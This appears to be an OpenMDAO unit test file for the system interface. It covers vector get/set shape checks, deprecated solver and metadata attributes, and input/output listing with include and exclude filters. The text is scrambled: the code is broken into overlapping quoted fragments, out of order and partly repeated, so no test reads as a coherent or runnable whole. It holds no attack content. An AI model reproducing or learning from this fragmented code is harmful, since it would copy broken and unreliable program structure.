prob.model.add_subsystem('double', VectorDoublingComp()) msg = \"The 'metadata' attribute provides", "ValueError, msg): residuals['C1.b'] = arr_val # assign scalar to array", "inputs, outputs, residuals = g2.get_nonlinear_vectors() # Test outputs after setting", "out_stream=None) self.assertEqual( len(inputs), 2) # Inputs with excludes inputs =", "shape to array with assertRaisesRegex(self, ValueError, msg): residuals['C2.y'] = bad_val", "array residuals['C2.y'] = arr_val.tolist() assert_rel_error(self, residuals['C2.y'], arr_val, 1e-10) # assign", "np from openmdao.api import Problem, Group, IndepVarComp, ExecComp from openmdao.test_suite.components.options_feature_vector", "outputs, residuals = model.get_nonlinear_vectors() self.assertEqual(inputs['G1.G2.C1.a'], -1.) inputs, outputs, residuals =", "self.assertEqual(inputs['G2.C1.a'], -1.) # Test outputs with original values inputs, outputs,", "array inputs['C2.x'] = arr_val assert_rel_error(self, inputs['C2.x'], arr_val, 1e-10) # assign", "setter & getter msg = \"The 'nl_solver' attribute provides backwards", "g2.add_subsystem('C1', ExecComp('b=2*a'), promotes=['a', 'b']) g2.add_subsystem('C2', ExecComp('y=2*x', x=np.zeros((5, 1)), y=np.zeros((5, 1))),", "array residuals['C2.y'] = arr_val assert_rel_error(self, residuals['C2.y'], arr_val, 1e-10) # assign", "residuals = g2.get_nonlinear_vectors() # Test outputs after setting a new", "getter msg = \"The 'ln_solver' attribute provides backwards compatibility \"", "residuals['C2.y'] = bad_val.tolist() def test_deprecated_solver_names(self): class DummySolver(): pass model =", "'z=2*y'), y=np.zeros((5, 1)), z=np.zeros((5, 1))), promotes=['b', 'y']) p = Problem(model=model)", "values inputs, outputs, residuals = model.get_nonlinear_vectors() self.assertEqual(outputs['G1.G2.C1.b'], 10.) inputs, outputs,", "solver = model.ln_solver self.assertTrue(isinstance(solver, DummySolver)) def test_deprecated_metadata(self): prob = Problem()", "def test_list_inputs_output_with_includes_excludes(self): from openmdao.test_suite.scripts.circuit_analysis import Resistor, Diode, Node, Circuit p", "# Test residuals inputs, outputs, residuals = model.get_nonlinear_vectors() residuals['G1.G2.C1.b'] =", "g1.get_nonlinear_vectors() self.assertEqual(inputs['G2.C1.a'], 5.) # Test inputs after setting a new", "assertRaisesRegex(self, ValueError, msg): outputs['C2.y'] = bad_val # assign list to", "list shape to array with assertRaisesRegex(self, ValueError, msg): residuals['C2.y'] =", "check ln_solver setter & getter msg = \"The 'ln_solver' attribute", "import Problem, Group, IndepVarComp, ExecComp from openmdao.test_suite.components.options_feature_vector import VectorDoublingComp from", "# assign array to scalar with assertRaisesRegex(self, ValueError, msg): outputs['C1.b']", "model = Group() model.add_subsystem('G1', g1, promotes=['b']) model.add_subsystem('Sink', ExecComp('c=2*b'), promotes=['b']) p", "3.] prob.run_model() assert_rel_error(self, prob['double.y'], [2., 4., 6.]) def test_list_inputs_output_with_includes_excludes(self): from", "to array outputs['C2.y'] = arr_val.tolist() assert_rel_error(self, outputs['C2.y'], arr_val, 1e-10) #", "model.list_outputs(implicit=False, out_stream=None) self.assertEqual( len(outputs), 5) # Outputs with includes. Explicit", "with invalid vec_name with self.assertRaises(Exception) as cm: d_inputs, d_outputs, d_residuals", "DummySolver() with assert_warning(DeprecationWarning, msg): solver = model.nl_solver self.assertTrue(isinstance(solver, DummySolver)) #", "model = p.model model.add_subsystem('ground', IndepVarComp('V', 0., units='V')) model.add_subsystem('source', IndepVarComp('I', 0.1,", "with excludes. Explicit only outputs = model.list_outputs(excludes=['circuit*'], implicit=False, out_stream=None) self.assertEqual(", "import Resistor, Diode, Node, Circuit p = Problem() model =", "with original values inputs, outputs, residuals = model.get_nonlinear_vectors() self.assertEqual(outputs['G1.G2.C1.b'], 10.)", "residuals['C1.b'] = arr_val # assign scalar to array residuals['C2.y'] =", "or excludes inputs = model.list_inputs(out_stream=None) self.assertEqual( len(inputs), 11) # Inputs", "assert_warning(DeprecationWarning, msg): model.ln_solver = DummySolver() with assert_warning(DeprecationWarning, msg): solver =", "excludes inputs = model.list_inputs(includes=['*V_out*'], excludes=['*Vg*'], out_stream=None) self.assertEqual( len(inputs), 1) #", "self.assertEqual(inputs['G1.G2.C1.a'], -1.) inputs, outputs, residuals = g1.get_nonlinear_vectors() self.assertEqual(inputs['G2.C1.a'], -1.) #", "arr_val # assign scalar to array residuals['C2.y'] = num_val assert_rel_error(self,", "= Problem(model=model) p.setup() p.set_solver_print(level=0) p.run_model() msg = \"Incompatible shape for", "residuals = g2.get_nonlinear_vectors() inputs['C1.a'] = -1. inputs, outputs, residuals =", "is no linear vector named %s\" % 'bad_name') def test_set_checks_shape(self):", "assertRaisesRegex(self, ValueError, msg): residuals['C2.y'] = bad_val # assign list to", "= Problem() model = p.model model.add_subsystem('ground', IndepVarComp('V', 0., units='V')) model.add_subsystem('source',", "len(outputs), 5) # Outputs with includes. Explicit only outputs =", "no includes or excludes. Explicit only outputs = model.list_outputs(implicit=False, out_stream=None)", "assert_warning(DeprecationWarning, msg): prob.model.double.metadata['size'] = 3 prob.model.connect('inputs.x', 'double.x') prob.setup() prob['inputs.x'] =", "99.0) # Test linear d_inputs, d_outputs, d_residuals = model.get_linear_vectors('linear') d_outputs['G1.G2.C1.b']", "assign bad list shape to array with assertRaisesRegex(self, ValueError, msg):", "outputs, residuals = g2.get_nonlinear_vectors() outputs['C1.b'] = 789. self.assertEqual(outputs['C1.b'], 789.) #", "outputs['C2.y'] = bad_val # assign list to array outputs['C2.y'] =", "model.add_subsystem('ground', IndepVarComp('V', 0., units='V')) model.add_subsystem('source', IndepVarComp('I', 0.1, units='A')) model.add_subsystem('circuit', Circuit())", "= -1. inputs, outputs, residuals = model.get_nonlinear_vectors() self.assertEqual(inputs['G1.G2.C1.a'], -1.) inputs,", "outputs, residuals = g2.get_nonlinear_vectors() # # set input # #", "= model.get_nonlinear_vectors() residuals['G1.G2.C1.b'] = 99.0 self.assertEqual(residuals['G1.G2.C1.b'], 99.0) # Test linear", "\\ \"with OpenMDAO 1.x ; use 'linear_solver' instead.\" with assert_warning(DeprecationWarning,", "bad_val = -10*np.ones((10)) inputs, outputs, residuals = g2.get_nonlinear_vectors() # #", "msg): residuals['C1.b'] = arr_val # assign scalar to array residuals['C2.y']", "import unittest from six import assertRaisesRegex from six.moves import cStringIO", "# assign scalar to array residuals['C2.y'] = num_val assert_rel_error(self, residuals['C2.y'],", "self.assertEqual( len(inputs), 2) # Inputs with excludes inputs = model.list_inputs(excludes=['*V_out*'],", "a promoted name inputs = model.list_inputs(excludes=['*Vg*'], out_stream=None) self.assertEqual( len(inputs), 9)", "= num_val assert_rel_error(self, outputs['C2.y'], arr_val, 1e-10) # assign array to", "promotes=['b', 'y']) p = Problem(model=model) p.setup() p.set_solver_print(level=0) p.run_model() msg =", "to array with assertRaisesRegex(self, ValueError, msg): inputs['C2.x'] = bad_val.tolist() #", "inputs['C2.x'] = arr_val.tolist() assert_rel_error(self, inputs['C2.x'], arr_val, 1e-10) # assign bad", "ValueError, msg): residuals['C2.y'] = bad_val.tolist() def test_deprecated_solver_names(self): class DummySolver(): pass", "# Test pre-setup errors with self.assertRaises(Exception) as cm: inputs, outputs,", "1)), z=np.zeros((5, 1))), promotes=['b', 'y']) p = Problem(model=model) p.setup() p.set_solver_print(level=0)", "import numpy as np from openmdao.api import Problem, Group, IndepVarComp,", "array to array inputs['C2.x'] = arr_val assert_rel_error(self, inputs['C2.x'], arr_val, 1e-10)", "(.*)\" num_val = -10 arr_val = -10*np.ones((5, 1)) bad_val =", "p.set_solver_print(level=0) # Test pre-setup errors with self.assertRaises(Exception) as cm: inputs,", "p = Problem(model=model) p.setup() p.set_solver_print(level=0) p.run_model() msg = \"Incompatible shape", "residuals = model.get_nonlinear_vectors() residuals['G1.G2.C1.b'] = 99.0 self.assertEqual(residuals['G1.G2.C1.b'], 99.0) # Test", "self.assertEqual(outputs['G1.G2.C1.b'], 10.) inputs, outputs, residuals = g2.get_nonlinear_vectors() # Test outputs", "shape=(5, 1)) g1 = Group() g1.add_subsystem('Indep', indep, promotes=['a', 'x']) g2", "assert_rel_error(self, residuals['C2.y'], arr_val, 1e-10) # assign bad array shape to", "len(inputs), 11) # Inputs with includes inputs = model.list_inputs(includes=['*V_out*'], out_stream=None)", "model.list_inputs(includes=['*V_out*'], excludes=['*Vg*'], out_stream=None) self.assertEqual( len(inputs), 1) # Outputs with no", "inputs after setting a new value inputs, outputs, residuals =", "= model.list_inputs(includes=['*V_out*'], out_stream=None) self.assertEqual( len(inputs), 3) # Inputs with includes", "\"with earlier version of OpenMDAO; use 'options' instead.\" with assert_warning(DeprecationWarning,", "msg): prob.model.double.metadata['size'] = 3 prob.model.connect('inputs.x', 'double.x') prob.setup() prob['inputs.x'] = [1.,", "# assign list to array inputs['C2.x'] = arr_val.tolist() assert_rel_error(self, inputs['C2.x'],", "residuals = g2.get_nonlinear_vectors() outputs['C1.b'] = 789. self.assertEqual(outputs['C1.b'], 789.) # Test", "d_outputs, d_residuals = model.get_linear_vectors('linear') d_outputs['G1.G2.C1.b'] = 10. self.assertEqual(d_outputs['G1.G2.C1.b'], 10.) #", "prob['double.y'], [2., 4., 6.]) def test_list_inputs_output_with_includes_excludes(self): from openmdao.test_suite.scripts.circuit_analysis import Resistor,", "= Problem(model=model) p.set_solver_print(level=0) # Test pre-setup errors with self.assertRaises(Exception) as", "invalid vec_name with self.assertRaises(Exception) as cm: d_inputs, d_outputs, d_residuals =", "1e-10) # assign bad array shape to array with assertRaisesRegex(self,", "# Outputs with includes. Explicit only outputs = model.list_outputs(includes=['*I'], implicit=False,", "g1 = Group() g1.add_subsystem('Indep', indep, promotes=['a', 'x']) g2 = g1.add_subsystem('G2',", "model.add_subsystem('Sink', ExecComp('c=2*b'), promotes=['b']) p = Problem(model=model) p.set_solver_print(level=0) # Test pre-setup", "msg): residuals['C2.y'] = bad_val.tolist() def test_deprecated_solver_names(self): class DummySolver(): pass model", "len(inputs), 8) # Inputs with excludes matching a promoted name", "import assert_rel_error, assert_warning class TestSystem(unittest.TestCase): def test_vector_context_managers(self): g1 = Group()", "test_vector_context_managers(self): g1 = Group() g1.add_subsystem('Indep', IndepVarComp('a', 5.0), promotes=['a']) g2 =", "outputs['C2.y'] = bad_val.tolist() # # set residual # # assign", "\"with OpenMDAO 1.x ; use 'nonlinear_solver' instead.\" with assert_warning(DeprecationWarning, msg):", "p.run_model() # Test inputs with original values inputs, outputs, residuals", "# Test linear with invalid vec_name with self.assertRaises(Exception) as cm:", "ValueError, msg): outputs['C1.b'] = arr_val # assign scalar to array", "msg): residuals['C2.y'] = bad_val # assign list to array residuals['C2.y']", "msg): model.nl_solver = DummySolver() with assert_warning(DeprecationWarning, msg): solver = model.nl_solver", "from openmdao.test_suite.components.options_feature_vector import VectorDoublingComp from openmdao.utils.assert_utils import assert_rel_error, assert_warning class", "compatibility \" \\ \"with OpenMDAO 1.x ; use 'nonlinear_solver' instead.\"", "= Group() model.add_subsystem('G1', g1, promotes=['b', 'y']) model.add_subsystem('Sink', ExecComp(('c=2*b', 'z=2*y'), y=np.zeros((5,", "g1.get_nonlinear_vectors() self.assertEqual(inputs['G2.C1.a'], -1.) # Test outputs with original values inputs,", "to array inputs['C2.x'] = arr_val assert_rel_error(self, inputs['C2.x'], arr_val, 1e-10) #", "bad list shape to array with assertRaisesRegex(self, ValueError, msg): outputs['C2.y']", "with excludes matching a promoted name inputs = model.list_inputs(excludes=['*Vg*'], out_stream=None)", "getter msg = \"The 'nl_solver' attribute provides backwards compatibility \"", "residuals inputs, outputs, residuals = model.get_nonlinear_vectors() residuals['G1.G2.C1.b'] = 99.0 self.assertEqual(residuals['G1.G2.C1.b'],", "arr_val.tolist() assert_rel_error(self, outputs['C2.y'], arr_val, 1e-10) # assign bad list shape", "def test_vector_context_managers(self): g1 = Group() g1.add_subsystem('Indep', IndepVarComp('a', 5.0), promotes=['a']) g2", "self.assertRaises(Exception) as cm: d_inputs, d_outputs, d_residuals = model.get_linear_vectors('vec') self.assertEqual(str(cm.exception), \"Group:", "input # # assign array to scalar with assertRaisesRegex(self, ValueError,", "# assign array to scalar with assertRaisesRegex(self, ValueError, msg): inputs['C1.a']", "inputs, outputs, residuals = g1.get_nonlinear_vectors() self.assertEqual(inputs['G2.C1.a'], 5.) # Test inputs", "outputs, residuals = g1.get_nonlinear_vectors() self.assertEqual(inputs['G2.C1.a'], 5.) # Test inputs after", "= bad_val # assign list to array outputs['C2.y'] = arr_val.tolist()", "ExecComp('y=2*x', x=np.zeros((5, 1)), y=np.zeros((5, 1))), promotes=['x', 'y']) model = Group()", "ValueError, msg): residuals['C2.y'] = bad_val # assign list to array", "set output # # assign array to scalar with assertRaisesRegex(self,", "# assign list to array residuals['C2.y'] = arr_val.tolist() assert_rel_error(self, residuals['C2.y'],", "g2 = g1.add_subsystem('G2', Group(), promotes=['*']) g2.add_subsystem('C1', ExecComp('b=2*a'), promotes=['a', 'b']) model", "includes or excludes. Explicit only outputs = model.list_outputs(implicit=False, out_stream=None) self.assertEqual(", "d_outputs, d_residuals = model.get_linear_vectors('vec') self.assertEqual(str(cm.exception), \"Group: Cannot get vectors because", "outputs['G1.G2.C1.b'] = 123. self.assertEqual(outputs['G1.G2.C1.b'], 123.) inputs, outputs, residuals = g2.get_nonlinear_vectors()", "been called.\") p.setup() p.run_model() # Test inputs with original values", "model.nl_solver = DummySolver() with assert_warning(DeprecationWarning, msg): solver = model.nl_solver self.assertTrue(isinstance(solver,", "out_stream=None) self.assertEqual( len(inputs), 9) # Inputs with includes and excludes", "assertRaisesRegex(self, ValueError, msg): inputs['C2.x'] = bad_val # assign list to", "# assign scalar to array outputs['C2.y'] = num_val assert_rel_error(self, outputs['C2.y'],", "with includes matching a promoted name inputs = model.list_inputs(includes=['*Vg*'], out_stream=None)", "array with assertRaisesRegex(self, ValueError, msg): inputs['C2.x'] = bad_val # assign", "'metadata' attribute provides backwards compatibility \" \\ \"with earlier version", "Circuit p = Problem() model = p.model model.add_subsystem('ground', IndepVarComp('V', 0.,", "Inputs with no includes or excludes inputs = model.list_inputs(out_stream=None) self.assertEqual(", "because setup has not yet been called.\") p.setup() p.run_model() #", "prob = Problem() prob.model.add_subsystem('inputs', IndepVarComp('x', shape=3)) prob.model.add_subsystem('double', VectorDoublingComp()) msg =", "excludes=['*Vg*'], out_stream=None) self.assertEqual( len(inputs), 1) # Outputs with no includes", "bad array shape to array with assertRaisesRegex(self, ValueError, msg): outputs['C2.y']", "VectorDoublingComp()) msg = \"The 'metadata' attribute provides backwards compatibility \"", "# assign list to array outputs['C2.y'] = arr_val.tolist() assert_rel_error(self, outputs['C2.y'],", "earlier version of OpenMDAO; use 'options' instead.\" with assert_warning(DeprecationWarning, msg):", "Group() model.add_subsystem('G1', g1, promotes=['b', 'y']) model.add_subsystem('Sink', ExecComp(('c=2*b', 'z=2*y'), y=np.zeros((5, 1)),", "\"Group (<model>): There is no linear vector named %s\" %", "= -10*np.ones((10)) inputs, outputs, residuals = g2.get_nonlinear_vectors() # # set", "len(inputs), 2) # Inputs with excludes inputs = model.list_inputs(excludes=['*V_out*'], out_stream=None)", "model.list_inputs(excludes=['*Vg*'], out_stream=None) self.assertEqual( len(inputs), 9) # Inputs with includes and", "outputs, residuals = model.get_nonlinear_vectors() self.assertEqual(outputs['G1.G2.C1.b'], 10.) inputs, outputs, residuals =", "# # set input # # assign array to scalar", "indep = IndepVarComp() indep.add_output('a') indep.add_output('x', shape=(5, 1)) g1 = Group()", "# set input # # assign array to scalar with", "= g2.get_nonlinear_vectors() # # set input # # assign array", "inputs, outputs, residuals = g1.get_nonlinear_vectors() self.assertEqual(inputs['G2.C1.a'], -1.) # Test outputs", "DummySolver)) # check ln_solver setter & getter msg = \"The", "& getter msg = \"The 'ln_solver' attribute provides backwards compatibility", "assign scalar to array outputs['C2.y'] = num_val assert_rel_error(self, outputs['C2.y'], arr_val,", "d_residuals = model.get_linear_vectors('vec') self.assertEqual(str(cm.exception), \"Group: Cannot get vectors because setup", "1e-10) # assign array to array outputs['C2.y'] = arr_val assert_rel_error(self,", "outputs, residuals = g2.get_nonlinear_vectors() inputs['C1.a'] = -1. inputs, outputs, residuals", "shape to array with assertRaisesRegex(self, ValueError, msg): outputs['C2.y'] = bad_val.tolist()", "array outputs['C2.y'] = arr_val.tolist() assert_rel_error(self, outputs['C2.y'], arr_val, 1e-10) # assign", "= model.list_outputs(excludes=['circuit*'], implicit=False, out_stream=None) self.assertEqual( len(outputs), 2) if __name__ ==", "model.get_nonlinear_vectors() self.assertEqual(inputs['G1.G2.C1.a'], 5.) inputs, outputs, residuals = g1.get_nonlinear_vectors() self.assertEqual(inputs['G2.C1.a'], 5.)", "Explicit only outputs = model.list_outputs(excludes=['circuit*'], implicit=False, out_stream=None) self.assertEqual( len(outputs), 2)", "= arr_val # assign scalar to array inputs['C2.x'] = num_val", "Node, Circuit p = Problem() model = p.model model.add_subsystem('ground', IndepVarComp('V',", "p.set_solver_print(level=0) p.run_model() msg = \"Incompatible shape for '.*': Expected (.*)", "value inputs, outputs, residuals = g2.get_nonlinear_vectors() inputs['C1.a'] = -1. inputs,", "with assertRaisesRegex(self, ValueError, msg): residuals['C2.y'] = bad_val # assign list", "msg = \"The 'metadata' attribute provides backwards compatibility \" \\", "model.get_nonlinear_vectors() residuals['G1.G2.C1.b'] = 99.0 self.assertEqual(residuals['G1.G2.C1.b'], 99.0) # Test linear d_inputs,", "self.assertTrue(isinstance(solver, DummySolver)) def test_deprecated_metadata(self): prob = Problem() prob.model.add_subsystem('inputs', IndepVarComp('x', shape=3))", "shape for '.*': Expected (.*) but got (.*)\" num_val =", "= model.get_nonlinear_vectors() outputs['G1.G2.C1.b'] = 123. self.assertEqual(outputs['G1.G2.C1.b'], 123.) inputs, outputs, residuals", "array inputs['C2.x'] = num_val assert_rel_error(self, inputs['C2.x'], arr_val, 1e-10) # assign", "after setting a new value inputs, outputs, residuals = model.get_nonlinear_vectors()", "1)) bad_val = -10*np.ones((10)) inputs, outputs, residuals = g2.get_nonlinear_vectors() #", "scalar to array residuals['C2.y'] = num_val assert_rel_error(self, residuals['C2.y'], arr_val, 1e-10)", "vectors because setup has not yet been called.\") p.setup() p.run_model()", "p.run_model() msg = \"Incompatible shape for '.*': Expected (.*) but", "& getter msg = \"The 'nl_solver' attribute provides backwards compatibility", "y=np.zeros((5, 1))), promotes=['x', 'y']) model = Group() model.add_subsystem('G1', g1, promotes=['b',", "assert_warning class TestSystem(unittest.TestCase): def test_vector_context_managers(self): g1 = Group() g1.add_subsystem('Indep', IndepVarComp('a',", "ExecComp('c=2*b'), promotes=['b']) p = Problem(model=model) p.set_solver_print(level=0) # Test pre-setup errors", "cm: d_inputs, d_outputs, d_residuals = model.get_linear_vectors('vec') self.assertEqual(str(cm.exception), \"Group: Cannot get", "scalar with assertRaisesRegex(self, ValueError, msg): residuals['C1.b'] = arr_val # assign", "; use 'linear_solver' instead.\" with assert_warning(DeprecationWarning, msg): model.ln_solver = DummySolver()", "assertRaisesRegex(self, ValueError, msg): inputs['C1.a'] = arr_val # assign scalar to", "interface.\"\"\" import unittest from six import assertRaisesRegex from six.moves import", "self.assertEqual(str(cm.exception), \"Group (<model>): There is no linear vector named %s\"", "outputs, residuals = g1.get_nonlinear_vectors() self.assertEqual(inputs['G2.C1.a'], -1.) # Test outputs with", "inputs = model.list_inputs(includes=['*Vg*'], out_stream=None) self.assertEqual( len(inputs), 2) # Inputs with", "pre-setup errors with self.assertRaises(Exception) as cm: inputs, outputs, residuals =", "arr_val.tolist() assert_rel_error(self, inputs['C2.x'], arr_val, 1e-10) # assign bad list shape", "array shape to array with assertRaisesRegex(self, ValueError, msg): inputs['C2.x'] =", "= [1., 2., 3.] prob.run_model() assert_rel_error(self, prob['double.y'], [2., 4., 6.])", "inputs = model.list_inputs(excludes=['*V_out*'], out_stream=None) self.assertEqual( len(inputs), 8) # Inputs with", "named %s\" % 'bad_name') def test_set_checks_shape(self): indep = IndepVarComp() indep.add_output('a')", "ExecComp('b=2*a'), promotes=['a', 'b']) model = Group() model.add_subsystem('G1', g1, promotes=['b']) model.add_subsystem('Sink',", "inputs, outputs, residuals = g2.get_nonlinear_vectors() outputs['C1.b'] = 789. self.assertEqual(outputs['C1.b'], 789.)", "model.get_linear_vectors('linear') d_outputs['G1.G2.C1.b'] = 10. self.assertEqual(d_outputs['G1.G2.C1.b'], 10.) # Test linear with", "assertRaisesRegex(self, ValueError, msg): residuals['C1.b'] = arr_val # assign scalar to", "= model.nl_solver self.assertTrue(isinstance(solver, DummySolver)) # check ln_solver setter & getter", "includes matching a promoted name inputs = model.list_inputs(includes=['*Vg*'], out_stream=None) self.assertEqual(", "to array residuals['C2.y'] = arr_val assert_rel_error(self, residuals['C2.y'], arr_val, 1e-10) #", "model.get_linear_vectors('bad_name') self.assertEqual(str(cm.exception), \"Group (<model>): There is no linear vector named", "got (.*)\" num_val = -10 arr_val = -10*np.ones((5, 1)) bad_val", "excludes inputs = model.list_inputs(out_stream=None) self.assertEqual( len(inputs), 11) # Inputs with", "= g1.add_subsystem('G2', Group(), promotes=['*']) g2.add_subsystem('C1', ExecComp('b=2*a'), promotes=['a', 'b']) g2.add_subsystem('C2', ExecComp('y=2*x',", "8) # Inputs with excludes matching a promoted name inputs", "with assertRaisesRegex(self, ValueError, msg): outputs['C1.b'] = arr_val # assign scalar", "residuals['C2.y'] = arr_val assert_rel_error(self, residuals['C2.y'], arr_val, 1e-10) # assign bad", "= model.get_nonlinear_vectors() self.assertEqual(outputs['G1.G2.C1.b'], 10.) inputs, outputs, residuals = g2.get_nonlinear_vectors() #", "msg): solver = model.nl_solver self.assertTrue(isinstance(solver, DummySolver)) # check ln_solver setter", "msg): inputs['C2.x'] = bad_val.tolist() # # set output # #", "backwards compatibility \" \\ \"with earlier version of OpenMDAO; use", "name inputs = model.list_inputs(includes=['*Vg*'], out_stream=None) self.assertEqual( len(inputs), 2) # Inputs", "attribute provides backwards compatibility \" \\ \"with OpenMDAO 1.x ;", "10.) inputs, outputs, residuals = g2.get_nonlinear_vectors() # Test outputs after", "g1, promotes=['b', 'y']) model.add_subsystem('Sink', ExecComp(('c=2*b', 'z=2*y'), y=np.zeros((5, 1)), z=np.zeros((5, 1))),", "= num_val assert_rel_error(self, residuals['C2.y'], arr_val, 1e-10) # assign array to", "inputs['C2.x'] = arr_val assert_rel_error(self, inputs['C2.x'], arr_val, 1e-10) # assign bad", "assertRaisesRegex(self, ValueError, msg): outputs['C2.y'] = bad_val.tolist() # # set residual", "assert_warning(DeprecationWarning, msg): model.nl_solver = DummySolver() with assert_warning(DeprecationWarning, msg): solver =", "# Outputs with no includes or excludes. Explicit only outputs", "arr_val assert_rel_error(self, inputs['C2.x'], arr_val, 1e-10) # assign bad array shape", "shape=3)) prob.model.add_subsystem('double', VectorDoublingComp()) msg = \"The 'metadata' attribute provides backwards", "4) # Outputs with excludes. Explicit only outputs = model.list_outputs(excludes=['circuit*'],", "has not yet been called.\") p.setup() p.run_model() # Test inputs", "# assign bad list shape to array with assertRaisesRegex(self, ValueError,", "g1.add_subsystem('Indep', indep, promotes=['a', 'x']) g2 = g1.add_subsystem('G2', Group(), promotes=['*']) g2.add_subsystem('C1',", "msg): solver = model.ln_solver self.assertTrue(isinstance(solver, DummySolver)) def test_deprecated_metadata(self): prob =", "VectorDoublingComp from openmdao.utils.assert_utils import assert_rel_error, assert_warning class TestSystem(unittest.TestCase): def test_vector_context_managers(self):", "# set residual # # assign array to scalar with", "1.x ; use 'linear_solver' instead.\" with assert_warning(DeprecationWarning, msg): model.ln_solver =", "g2.get_nonlinear_vectors() # Test outputs after setting a new value inputs,", "with assert_warning(DeprecationWarning, msg): model.ln_solver = DummySolver() with assert_warning(DeprecationWarning, msg): solver", "p = Problem() model = p.model model.add_subsystem('ground', IndepVarComp('V', 0., units='V'))", "includes or excludes inputs = model.list_inputs(out_stream=None) self.assertEqual( len(inputs), 11) #", "with includes and excludes inputs = model.list_inputs(includes=['*V_out*'], excludes=['*Vg*'], out_stream=None) self.assertEqual(", "assert_rel_error(self, inputs['C2.x'], arr_val, 1e-10) # assign array to array inputs['C2.x']", "inputs with original values inputs, outputs, residuals = model.get_nonlinear_vectors() self.assertEqual(inputs['G1.G2.C1.a'],", "= num_val assert_rel_error(self, inputs['C2.x'], arr_val, 1e-10) # assign array to", "assert_rel_error(self, outputs['C2.y'], arr_val, 1e-10) # assign array to array outputs['C2.y']", "to array with assertRaisesRegex(self, ValueError, msg): residuals['C2.y'] = bad_val #", "= Problem() prob.model.add_subsystem('inputs', IndepVarComp('x', shape=3)) prob.model.add_subsystem('double', VectorDoublingComp()) msg = \"The", "shape to array with assertRaisesRegex(self, ValueError, msg): inputs['C2.x'] = bad_val", "= Group() model.add_subsystem('G1', g1, promotes=['b']) model.add_subsystem('Sink', ExecComp('c=2*b'), promotes=['b']) p =", "prob.run_model() assert_rel_error(self, prob['double.y'], [2., 4., 6.]) def test_list_inputs_output_with_includes_excludes(self): from openmdao.test_suite.scripts.circuit_analysis", "# Inputs with includes matching a promoted name inputs =", "use 'linear_solver' instead.\" with assert_warning(DeprecationWarning, msg): model.ln_solver = DummySolver() with", "assertRaisesRegex(self, ValueError, msg): inputs['C2.x'] = bad_val.tolist() # # set output", "six import assertRaisesRegex from six.moves import cStringIO import numpy as", "Inputs with excludes matching a promoted name inputs = model.list_inputs(excludes=['*Vg*'],", "g2.get_nonlinear_vectors() # # set input # # assign array to", "arr_val, 1e-10) # assign bad array shape to array with", "123. self.assertEqual(outputs['G1.G2.C1.b'], 123.) inputs, outputs, residuals = g2.get_nonlinear_vectors() outputs['C1.b'] =", "self.assertEqual( len(inputs), 9) # Inputs with includes and excludes inputs", "= model.get_nonlinear_vectors() self.assertEqual(inputs['G1.G2.C1.a'], -1.) inputs, outputs, residuals = g1.get_nonlinear_vectors() self.assertEqual(inputs['G2.C1.a'],", "values inputs, outputs, residuals = model.get_nonlinear_vectors() self.assertEqual(inputs['G1.G2.C1.a'], 5.) inputs, outputs,", "outputs['C2.y'] = arr_val.tolist() assert_rel_error(self, outputs['C2.y'], arr_val, 1e-10) # assign bad", "self.assertTrue(isinstance(solver, DummySolver)) # check ln_solver setter & getter msg =", "len(inputs), 1) # Outputs with no includes or excludes. Explicit", "Group() g1.add_subsystem('Indep', IndepVarComp('a', 5.0), promotes=['a']) g2 = g1.add_subsystem('G2', Group(), promotes=['*'])", "test_list_inputs_output_with_includes_excludes(self): from openmdao.test_suite.scripts.circuit_analysis import Resistor, Diode, Node, Circuit p =", "a new value inputs, outputs, residuals = g2.get_nonlinear_vectors() inputs['C1.a'] =", "version of OpenMDAO; use 'options' instead.\" with assert_warning(DeprecationWarning, msg): prob.model.double.metadata['size']", "[2., 4., 6.]) def test_list_inputs_output_with_includes_excludes(self): from openmdao.test_suite.scripts.circuit_analysis import Resistor, Diode,", "self.assertEqual(inputs['G1.G2.C1.a'], 5.) inputs, outputs, residuals = g1.get_nonlinear_vectors() self.assertEqual(inputs['G2.C1.a'], 5.) #", "arr_val, 1e-10) # assign array to array outputs['C2.y'] = arr_val", "model.ln_solver self.assertTrue(isinstance(solver, DummySolver)) def test_deprecated_metadata(self): prob = Problem() prob.model.add_subsystem('inputs', IndepVarComp('x',", "d_residuals = model.get_linear_vectors('bad_name') self.assertEqual(str(cm.exception), \"Group (<model>): There is no linear", "matching a promoted name inputs = model.list_inputs(includes=['*Vg*'], out_stream=None) self.assertEqual( len(inputs),", "excludes inputs = model.list_inputs(excludes=['*V_out*'], out_stream=None) self.assertEqual( len(inputs), 8) # Inputs", "Test inputs after setting a new value inputs, outputs, residuals", "Test residuals inputs, outputs, residuals = model.get_nonlinear_vectors() residuals['G1.G2.C1.b'] = 99.0", "= g2.get_nonlinear_vectors() outputs['C1.b'] = 789. self.assertEqual(outputs['C1.b'], 789.) # Test residuals", "bad_val.tolist() # # set output # # assign array to", "arr_val # assign scalar to array inputs['C2.x'] = num_val assert_rel_error(self,", "indep.add_output('x', shape=(5, 1)) g1 = Group() g1.add_subsystem('Indep', indep, promotes=['a', 'x'])", "ExecComp('b=2*a'), promotes=['a', 'b']) g2.add_subsystem('C2', ExecComp('y=2*x', x=np.zeros((5, 1)), y=np.zeros((5, 1))), promotes=['x',", "-10*np.ones((10)) inputs, outputs, residuals = g2.get_nonlinear_vectors() # # set input", "original values inputs, outputs, residuals = model.get_nonlinear_vectors() self.assertEqual(inputs['G1.G2.C1.a'], 5.) inputs,", "IndepVarComp('a', 5.0), promotes=['a']) g2 = g1.add_subsystem('G2', Group(), promotes=['*']) g2.add_subsystem('C1', ExecComp('b=2*a'),", "to array with assertRaisesRegex(self, ValueError, msg): outputs['C2.y'] = bad_val.tolist() #", "bad_val # assign list to array residuals['C2.y'] = arr_val.tolist() assert_rel_error(self,", "def test_deprecated_metadata(self): prob = Problem() prob.model.add_subsystem('inputs', IndepVarComp('x', shape=3)) prob.model.add_subsystem('double', VectorDoublingComp())", "Resistor, Diode, Node, Circuit p = Problem() model = p.model", "residuals['C2.y'] = num_val assert_rel_error(self, residuals['C2.y'], arr_val, 1e-10) # assign array", "set input # # assign array to scalar with assertRaisesRegex(self,", "d_outputs, d_residuals = model.get_linear_vectors('bad_name') self.assertEqual(str(cm.exception), \"Group (<model>): There is no", "= -10*np.ones((5, 1)) bad_val = -10*np.ones((10)) inputs, outputs, residuals =", "scalar to array inputs['C2.x'] = num_val assert_rel_error(self, inputs['C2.x'], arr_val, 1e-10)", "tests for the system interface.\"\"\" import unittest from six import", "as cm: d_inputs, d_outputs, d_residuals = model.get_linear_vectors('bad_name') self.assertEqual(str(cm.exception), \"Group (<model>):", "scalar with assertRaisesRegex(self, ValueError, msg): inputs['C1.a'] = arr_val # assign", 